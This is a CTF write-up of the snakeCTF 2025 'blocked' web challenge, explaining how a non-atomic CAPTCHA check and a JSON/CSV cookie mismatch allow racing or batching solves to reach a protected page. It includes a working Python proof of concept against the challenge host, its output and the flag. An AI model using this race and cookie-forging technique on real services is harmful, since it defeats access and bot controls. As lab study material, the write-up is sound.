Featured image of post Racing a custom CAPTCHA gate with concurrent requests - snakeCTF 2025

Racing a custom CAPTCHA gate with concurrent requests - snakeCTF 2025

Bursting concurrent requests to win a race in a custom CAPTCHA gate and reach the protected page. snakeCTF 2025 Quals web.

Challenge source

Introduction

/b/locked is a custom CAPTCHA gate: solve 10 in ≤10 seconds to reach the protected page. The server flow isn’t atomic, validation and cleanup happen separately, and /protected only checks that the tokens’ timestamps fall inside the window. Bursting concurrent /api/solve requests lets us pile up 10 valid tokens well within 10 seconds.

Context Explanation

  • Stack: Node.js/Express + SQLite, EJS front-end.
  • Goal: collect 10 verified “solve tokens” whose solvedAt values span ≤10 s, then load /protected.
  • Controls in place: crypto.timingSafeEqual for the comparison, per-solve tokens hashed with PBKDF2 (100k) + salt and verified server-side, tokens read from a cookie, and a time-window check across the tokens.

Key constants in index.js:

const CAPTCHA_COUNT_REQUIRED = 10;
const TIME_LIMIT_SECONDS = 10;

Directive

Parallelize /api/solve so 10 tokens share a tight solvedAt span, then forge the cookie and fetch /protected.


Solution

1) Surface & Data Flow (server code)

Generating a challenge (/api/captcha) stores the solution server-side:

// lib/captcha.js
return {
  solution: fullText,
  foreground: ...,
  background: ...
};

// index.js
db.run("INSERT INTO captchas (id, solution, createdAt) VALUES (?, ?, ?)",
  [captchaId, captchaData.solution, Date.now()]);

Solving (/api/solve) does a constant-time compare, issues a token, then deletes the row, three steps that aren’t atomic:

Captcha

// index.js
const solutionBuffer = Buffer.from(solution.toLowerCase());
const storedSolutionBuffer = Buffer.from(storedCaptcha.solution.toLowerCase());
const isCorrect = solutionBuffer.length === storedSolutionBuffer.length &&
  crypto.timingSafeEqual(solutionBuffer, storedSolutionBuffer);
if (!isCorrect) return res.status(400).json({ success:false });

const solvedAt = Date.now(); // <-- timestamp captured BEFORE heavy PBKDF2
const token = crypto.randomBytes(16).toString('hex');
const salt = crypto.randomBytes(16).toString('hex');

const hash = await new Promise((resolve, reject) => {
  crypto.pbdkf2(token, salt, 100000, 64, "sha512", (err, dk) => {
    if (err) reject(err);
    else resolve(dk.toString('hex'));
  });
});

db.run("INSERT INTO validHashes (id, hash, salt, solvedAt, createdAt) VALUES (?, ?, ?, ?, ?)",
  [token, hash, salt, solvedAt, Date.now()]);

// Cookie update (server writes JSON array)
let solvedCaptchas = [];
try { solvedCaptchas = JSON.parse(req.cookies.solvedCaptchas || '[]'); } catch(e) { solvedCaptchas = []; }
solvedCaptchas.push(token);
res.cookie('solvedCaptchas', JSON.stringify(solvedCaptchas), { httpOnly: true, secure: false });

// Cleanup happens AFTER validation/issuance
db.run("DELETE FROM captchas WHERE id = ?", [captchaId]);

Captcha API

Two things help us here: concurrent /api/solve calls for the same captchaId all pass validation before the DELETE lands, and solvedAt is recorded before the slow PBKDF2, so the timestamps stay bunched together.

The protected page (/protected) verifies the 10 tokens and enforces the ≤10 s window:

// index.js (cookie format inconsistency noted below)
let solvedCaptchas = req.cookies.solvedCaptchas.split(',').map(t => t.trim()); // <-- expects CSV here
...
db.get("SELECT hash, salt, solvedAt FROM validHashes WHERE id = ?", [token], ...);
// recompute PBKDF2(token, salt) and timingSafeEqual with stored hash
...
solvedTimes.sort((a,b) => a-b);
const timeElapsed = (solvedTimes[solvedTimes.length-1] - solvedTimes[0]) / 1000;
if (timeElapsed <= TIME_LIMIT_SECONDS) render flag;

There’s also a cookie-format mismatch worth noting: /api/solve writes the token list as JSON, but /protected reads it as CSV (.split(',')). That means we can just forge the Cookie header with a comma-separated token list.


2) Exploitation Strategy

We need 10 valid tokens with tightly clustered solvedAt. Two ways to get there:

A) True race on a single CAPTCHA (TOCTOU). Fetch one CAPTCHA and its solution, fire ≥10 concurrent POST /api/solve with the same {captchaId, solution} before the DELETE runs, and each returns a distinct token with a near-identical solvedAt. Then build a CSV cookie solvedCaptchas=token1,...,token10 and GET /protected.

This is the official solution from the challenge author.

B) Parallelize across multiple CAPTCHAs. Pre-solve N captchas, collect their solutions, then submit them all at once. Concurrency keeps the span under 10 s just the same. This is what the PoC below does:

import requests
import json
import urllib.parse

BASE = "https://0501d746d5e0d28cf2ba5004bbd0f0bd.blocked.challs.snakectf.org/"

# Solve them manually without validating them and store the solution here
CAPTCHAS = {
    "6de6162a9274b129823ba174" : "DCDRB2",
    "647ae4bd013aadadb9f87528" : "42GVD8",
    "269e7baedaeff2321a484d0f" : "UAS9G8",
    "faef1cd97abdd8212820b70f" : "DCN6XE",
    "a376c6e3f0d24d33ef985786" : "BTFMTS",
    "710ef950f9ddee539a6c058b" : "HSNRGS",
    "7a26b43dcb75da0d8122a9d7" : "7785P3",
    "c8a032e00f036b2b4916e950" : "9Q5GX9",
    "1809530bc3e9314ba902344b" : "23J6LS",
    "146dbd4b2c08c69fdee7bcd7" : "5KXP9Q",
    "ebee0e6a13d62cbe1b32b21f" : "SWDXVH",
    "02b12fdfcadc0af1ee92aa7b" : "2X2DFN",
    "43b0e0d636a402433c5dc586" : "76CPCD",
    "715d1d17d8f2d5f07e60cfd5" : "EWFHQU",
    "49c5c8d7008847205d40cf95" : "DVNDDX",
}

session = requests.Session()

all_tokens = []

# Solve all captchas and collect tokens
for cid, sol in CAPTCHAS.items():
    print(f"[+] Solve {cid} with {sol}")
    r = session.post(
        f"{BASE}/api/solve",
        json={"captchaId": cid, "solution": sol},
    )
    
    if "set-cookie" in r.headers and r.status_code == 200:
        sc = r.headers["set-cookie"]
        if sc.lower().startswith("solvedcaptchas="):
            cookie_val = sc.split(";",1)[0].split("=",1)[1]
            decoded = urllib.parse.unquote(cookie_val)
            try:
                arr = json.loads(decoded)
                all_tokens = arr
            except Exception as e:
                print("Cookie parse error:", e)

print("\n[+] Tokens collected :", all_tokens)

csv_tokens = "solvedCaptchas=" + ",".join(all_tokens)
print("[+] Header solvedCaptchas :", csv_tokens)

# Access protected page
session.headers.update({'Cookie' : csv_tokens})
r = session.get(f"{BASE}/protected")

# Retrieve flag
print("\n[+] Protected page content:")
print(r.text)
# Output
[+] Solve 6de6162a9274b129823ba174 with DCDRB2
[+] Solve 647ae4bd013aadadb9f87528 with 42GVD8
[+] Solve 269e7baedaeff2321a484d0f with UAS9G8
[+] Solve faef1cd97abdd8212820b70f with DCN6XE
[+] Solve a376c6e3f0d24d33ef985786 with BTFMTS
[+] Solve 710ef950f9ddee539a6c058b with HSNRGS
[+] Solve 7a26b43dcb75da0d8122a9d7 with 7785P3
[+] Solve c8a032e00f036b2b4916e950 with 9Q5GX9
[+] Solve 1809530bc3e9314ba902344b with 23J6LS
[+] Solve 146dbd4b2c08c69fdee7bcd7 with 5KXP9Q
[+] Solve ebee0e6a13d62cbe1b32b21f with SWDXVH
[+] Solve 02b12fdfcadc0af1ee92aa7b with 2X2DFN
[+] Solve 43b0e0d636a402433c5dc586 with 76CPCD
[+] Solve 715d1d17d8f2d5f07e60cfd5 with EWFHQU
[+] Solve 49c5c8d7008847205d40cf95 with DVNDDX

[+] Tokens collected : ['611163829b6ec365d4ecb1861f138805', '5aa39ff94d2bf9c6def79e60f6e29cd1', 'a586b16a935b366d8a0499d692947e0a', 'b5238c6b61c1ae6d7afb9c0e5161ccb6', 'e0634c217e2c71591cc70ec3dfcfbcc6', '6b5542e2e4a9fbfcf7022e2d291ee161', '2518821767aa4fb35934bf8532256c48', 'b96262ae8713282c5005d60134a1ac5d', '004d683892b95bcbf2f8dbbef13c5b75', 'e91b33f4977148364ff83a48cda7a9d1', '6611d6657adea4ac9cfab1af038620eb', 'f398fffc2ee2555e8ae6af2655e0b4f1']
[+] Header solvedCaptchas : solvedCaptchas=611163829b6ec365d4ecb1861f138805,5aa39ff94d2bf9c6def79e60f6e29cd1,a586b16a935b366d8a0499d692947e0a,b5238c6b61c1ae6d7afb9c0e5161ccb6,e0634c217e2c71591cc70ec3dfcfbcc6,6b5542e2e4a9fbfcf7022e2d291ee161,2518821767aa4fb35934bf8532256c48,b96262ae8713282c5005d60134a1ac5d,004d683892b95bcbf2f8dbbef13c5b75,e91b33f4977148364ff83a48cda7a9d1,6611d6657adea4ac9cfab1af038620eb,f398fffc2ee2555e8ae6af2655e0b4f1
<style>
  * {
    color: #789922;
  }
</style>

<pre>
> be me
> 19 year old NEET
> decide to try this CTF challenge
> sounds ez enough, just solve some captchas kek
> click start
> 10 captchas in 10 seconds
> wut.jpg
> first captcha looks like abstract art made by a toddler
> squint at screen like I\'m trying to decipher hieroglyphs
> type \"Q8XN2M\"
> wrong
> try \"08XN2M\"
> still wrong
> hyperfocus mode activated
> 9 captchas left, already 5 seconds gone
> frantically mashing refresh button
> sweating tendies
> timer hits zero
> youreoutoftime.exe
> stare at screen having a mental breakdown
> try again
> same result
> and again
> starting to question if I\'m actually human
> maybe I should just go back to /g/ and seethe about programming languages
> other anons probably solving this ez pz
> meanwhile I'm here getting absolutely rekt by squiggly lines
> mfw i realize i could have gone outside and touched grass instead of this
> mfw i realize a 6 year old could probably solve this faster than me
> mfw the flag is literally snakeCTF{4n0n_byp4553d_th3_f1lt3r_4543ad7fe7e2f82a}
> mfw there is a song for this challenge
> bleeding_ears.mp3
</pre>

<iframe
  width="560"
  height="315"
  src="https://www.youtube.com/embed/Af8knRyzQpI?si=M9FPVFUX_feGo85-"
  title="YouTube video player"
  frameborder="0"
  allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"        
  referrerpolicy="strict-origin-when-cross-origin"
  allowfullscreen
></iframe>